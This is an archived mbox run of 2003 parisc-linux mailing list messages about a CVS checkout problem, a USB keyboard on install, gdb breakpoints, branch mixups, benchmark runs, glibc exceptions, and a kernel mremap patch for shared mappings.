List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19301

On Fri, Aug 22, 2003 at 10:08:20AM -0600, dann frazier wrote:
> you have e-mailed the admin of the cvs list, which is part of the old bug
> tracking system.
> i've cc'd the parisc-linux list, which is probably the best place to ask.

thanks dann

> On Fri, Aug 22, 2003 at 05:41:07PM +0400, ??????? ??????? wrote:
> > ???????????? ?????????, cvs-admin.
> > 
> >   Please help me cvs download palo !
> >   Please sorry my english
> > 
> >   I am use this and read error messges:
> >     user@panda:~/palo$ cvs -d :pserver:guest@cvs.parisc-linux.org:/ checkout palo
> >     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory

try "cvs -d ... login" first.
Just hit <CR> (aka return or enter key) for password prompt.

grant


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync
 in glibc on parisc)
Date: Sat, 23 Aug 2003 08:22:19 +0100 (BST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308230820020.3590-100000__10186.1001727686$1416622712$gmane$org@localhost.localdomain>
References: <1061600974.2090.809.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622712 29931 80.91.229.3 (22 Nov 2014 02:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:32 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, <willy@debian.org>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	<drepper@redhat.com>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 01:20:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mtvmime01.veritas.com (bay-bridge.veritas.com [143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F2334913
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 01:20:42 -0600 (MDT)
Original-Received: from megami (unverified) by mtvmime01.veritas.com
 (Content Technologies SMTPRS 4.2.10) with SMTP id <T643895cdf10a8911513e0@mtvmime01.veritas.com>;
 Sat, 23 Aug 2003 00:21:11 -0700
Original-Received: from [192.168.184.26]([192.168.184.26]) (1238 bytes) by megami
	via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) 
	id <m19qShU-000090C@megami>
	for <linux-kernel@vger.kernel.org>; Sat, 23 Aug 2003 00:20:40 -0700 (PDT)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
In-Reply-To: <1061600974.2090.809.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19302

On 22 Aug 2003, James Bottomley wrote:
> 
> I suppose if we had a way of telling if any of the i_mmap list members
> were really MAP_SHARED semantics mappings, then we could alter our
> flush_dcache_page() implementation to work.

Good idea.  It's VM_MAYSHARE you need to check for.

Hugh



From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] USB keyboard support on boot
Date: Sat, 23 Aug 2003 09:30:02 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <1061627402.3f47260a748cd@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622712 29935 80.91.229.3 (22 Nov 2014 02:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 02:31:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id EEA264876
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 02:31:27 -0600 (MDT)
Original-Received: (qmail 84067 invoked by uid 2525); 23 Aug 2003 08:30:02 -0000
Original-Received: from 213.106.193.59 ( [213.106.193.59])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Sat, 23 Aug 2003 09:30:02 +0100
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 213.106.193.59
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19303

Hi i am trying to install Debian 3.0 (woody) in my b2000 although once i have 
booted from the cd to install i have no keyboard or mouse controal. Is usb 
enabled by default ? 

Thanks

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] USB keyboard support on boot
Date: Sat, 23 Aug 2003 12:51:49 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <20030823105149.4C45649DF2@mail.esiee.fr>
References: <1061627402.3f47260a748cd@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622712 29942 80.91.229.3 (22 Nov 2014 02:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 04:51:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B5884917
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 04:51:51 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id BECC749E56; Sat, 23 Aug 2003 12:51:49 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4C45649DF2; Sat, 23 Aug 2003 12:51:49 +0200 (CEST)
In-Reply-To: <1061627402.3f47260a748cd@webmail.v8fiesta.co.uk>
X-Originating-IP: [62.147.96.230]
User-Agent: IMHO/0.99 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19304

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/01939
9.html


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/
On vacation until Aug 25th.
-------------------
> Hi i am trying to install Debian 3.0 (woody) in my b2000 although=20
once i have=20
> booted from the cd to install i have no keyboard or mouse controal.=20
Is usb=20
> enabled by default ?=20
>=20
> Thanks
>=20
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20
>=20



From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Sat, 23 Aug 2003 12:55:35 +0300
Lines: 31
Approved: news@gmane.org
Message-ID: <20030823105536.125F849C32@mail.esiee.fr>
References: <20030823062139.GA20379@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622713 29945 80.91.229.3 (22 Nov 2014 02:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:33 +0000 (UTC)
Cc: Lev Assinovsky <LAssinovsky@algorithm.aelita.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 04:55:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32E43491B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 04:55:38 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 44B3549D4D; Sat, 23 Aug 2003 12:55:37 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 125F849C32; Sat, 23 Aug 2003 12:55:36 +0200 (CEST)
In-Reply-To: <20030823062139.GA20379@dsl2.external.hp.com>
X-Originating-IP: [62.147.96.230]
User-Agent: IMHO/0.99 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19305

-------------------
> On Fri, Aug 22, 2003 at 09:13:37PM +0400, Lev Assinovsky wrote:
> > Hi!
> > 1. I meant just a hardcoded breakpoint (not hardware)
> > Partially works just BREAK 4, 8. Though I need to do "jump" to=20
next line=20
> > to continue in gdb.
>=20
> ah ok=20
> > 2. gdb doesn't work with shared libraries explicitly loaded by=20
program.
> > Could you please point to anybody from HP team?
>=20
> HP Team? Sorry but officially there is no HP parisc-linux team.
> Most of us are interested in kernel hacking and less in
> making gdb work.
>=20
> > 3. What about ddd?
>=20
> sorry - haven't looked at ddd.
>=20

ddd is a GUI frontend to gdb...


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/
On vacation until Aug 25th



From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS mixups
Date: Sat, 23 Aug 2003 15:21:59 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030823142159.GM18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622713 29950 80.91.229.3 (22 Nov 2014 02:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 08:22:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C39BC482E
	for <parisc-linux@parisc-linux.org>; Sat, 23 Aug 2003 08:22:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19qZHD-00006Q-QK
	for parisc-linux@parisc-linux.org; Sat, 23 Aug 2003 15:21:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19306

So... for the second time I messed up and committed 2.6 to the 2.4 tree.
In my defence, this time we were trying the new style of imports so it's
not too surprising I got something wrong (and nobody spotted the problem
till too late...), but twice is too many.

Short term fix: I'm going to merge the latest marcelo patch into our
2.4 tree today.  Looks like that'll be 2.4.22-rc2.  That'll fix this
cvs diff autogeneration breakage.

Long term fix: I'm going to rename the linux tree to linux-2.4.  This will
cause some disruption since everyone with a cvs tree checked out will have
to mangle it to work again.  I'll make a script available in build-tools
to mangle your tree for you.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Sat, 23 Aug 2003 16:54:26 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <3F2E2C7700004A24@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622713 29955 80.91.229.3 (22 Nov 2014 02:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 09:54:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B29E488F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 09:54:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19qafo-0008L9-00; Sat, 23 Aug 2003 17:51:28 +0200
Original-Received: from [62.235.120.176] by mail.tiscali.be with HTTP; Sat, 23 Aug 2003 17:54:26 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19307

>Congratulation, I will try it also on the N (64bits)

I grab last osdl-aim-7-0.1.9 (date Aug 04) and launch the test that Grant
mentionned (I just stop the 3d run (option -r3) with kernel without patch
because -e500 seems to take too much time: full night and I want to test

the patched kernel)

With the patch kernel I also want to launch 3 run test but with -e300 (Just
have a N obviously UP 550Mhz?).
The first two run seems to work fine when during the last run I get a lot
of messages "Child caught raw signal ?" and so I could not grab (cut and
past) the first results :( .

I now relaunch test for only two runs and so hope the results for next week,
sorry.

Thanks again,
    Joel


------------------------------------------
------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=
> r


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.p
risc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 23 Aug 2003 10:59:48 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1061654391.1995.74.camel__36236.4799286754$1416622714$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0308230820020.3590-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-twwyVK3YP0a7nX0FTdaG"
X-Trace: ger.gmane.org 1416622714 29956 80.91.229.3 (22 Nov 2014 02:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:34 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 10:00:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 705CA4896
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 10:00:02 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7NFxnI31142;
	Sat, 23 Aug 2003 11:59:49 -0400
In-Reply-To: <Pine.LNX.4.44.0308230820020.3590-100000@localhost.localdomain>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19308

--=-twwyVK3YP0a7nX0FTdaG
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Sat, 2003-08-23 at 02:22, Hugh Dickins wrote:
> Good idea.  It's VM_MAYSHARE you need to check for.

OK, to get all this to work, there's a corner case in do_mremap() that I
need to be fixed:

When choosing the flags for the new area, it keys off VM_SHARED to
determine whether MAP_SHARED is passed to the mapping.  It has to key of
VM_MAYSHARE to preserve VM_MAYSHARE on the new mapping.

Patch below.

James



--=-twwyVK3YP0a7nX0FTdaG
Content-Disposition: inline; filename=tmp.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; name=tmp.diff; charset=ISO-8859-1

=3D=3D=3D=3D=3D mremap.c 1.32 vs edited =3D=3D=3D=3D=3D
--- 1.32/mm/mremap.c	Thu Aug  7 12:29:10 2003
+++ edited/mremap.c	Sat Aug 23 10:54:21 2003
@@ -420,7 +420,7 @@
 	if (flags & MREMAP_MAYMOVE) {
 		if (!(flags & MREMAP_FIXED)) {
 			unsigned long map_flags =3D 0;
-			if (vma->vm_flags & VM_SHARED)
+			if (vma->vm_flags & VM_MAYSHARE)
 				map_flags |=3D MAP_SHARED;
=20
 			new_addr =3D get_unmapped_area(vma->vm_file, 0, new_len,

--=-twwyVK3YP0a7nX0FTdaG--



From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Sat, 23 Aug 2003 12:12:07 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200308231612.MAA21233@hiauly3.hia.nrc.ca>
References: <20030823055506.GA9821@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622714 29961 80.91.229.3 (22 Nov 2014 02:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 10:12:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40D1A4920
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Aug 2003 10:12:08 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id MAA21233;
	Sat, 23 Aug 2003 12:12:07 -0400 (EDT)
In-Reply-To: <20030823055506.GA9821@systemhalted> from Carlos O'Donell at Aug "23," 2003 "01:55:06" am
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19309

> On Fri, Aug 22, 2003 at 04:24:19PM -0400, John David Anglin wrote:
> > Based on what Jim Hull said, I believe that would be better.  I was using
> > 
> >   "fldd 0(%%sr0,%%sp),%0" : "=f" (d) : "0" (d)
> > 
> > There isn't a true dependency in the above but I believe that any load
> > to the destination register will raise the exception.
> 
> Dave, I'm sorry if you sent me a patch and I dropped it :( Did I ever
> receive a diff for this from you?

I can't recall but I probably did send it last November.  My email
machine is still down because of the blackout.

> It's rather vague at times because the spec says "or an operation which
> depends on a pending, trapping insn." I think DHD, and perhaps myself
> got caught up on the "load or store" which probably means only
> register->memory (memory->register too) and not register->register.

Yes.  If you follow the thread that I sent you, Jim Hull comments on
this and offers a rewrite of the sentence that you quoted.  I believe
that referencing memory is important as this makes the operation visible
to another processor.  A register->register operation doesn't do this.

Dave


From - Thu Nov 08 21:28:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposed changes to flush_dcache_page to fix our shared ro mapping
 problem
Date: 23 Aug 2003 11:25:52 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <1061655953.1992.104.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-PE2Uwl0LkbJxW+65VgYL"
X-Trace: ger.gmane.org 1416622714 29973 80.91.229.3 (22 Nov 2014 02:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
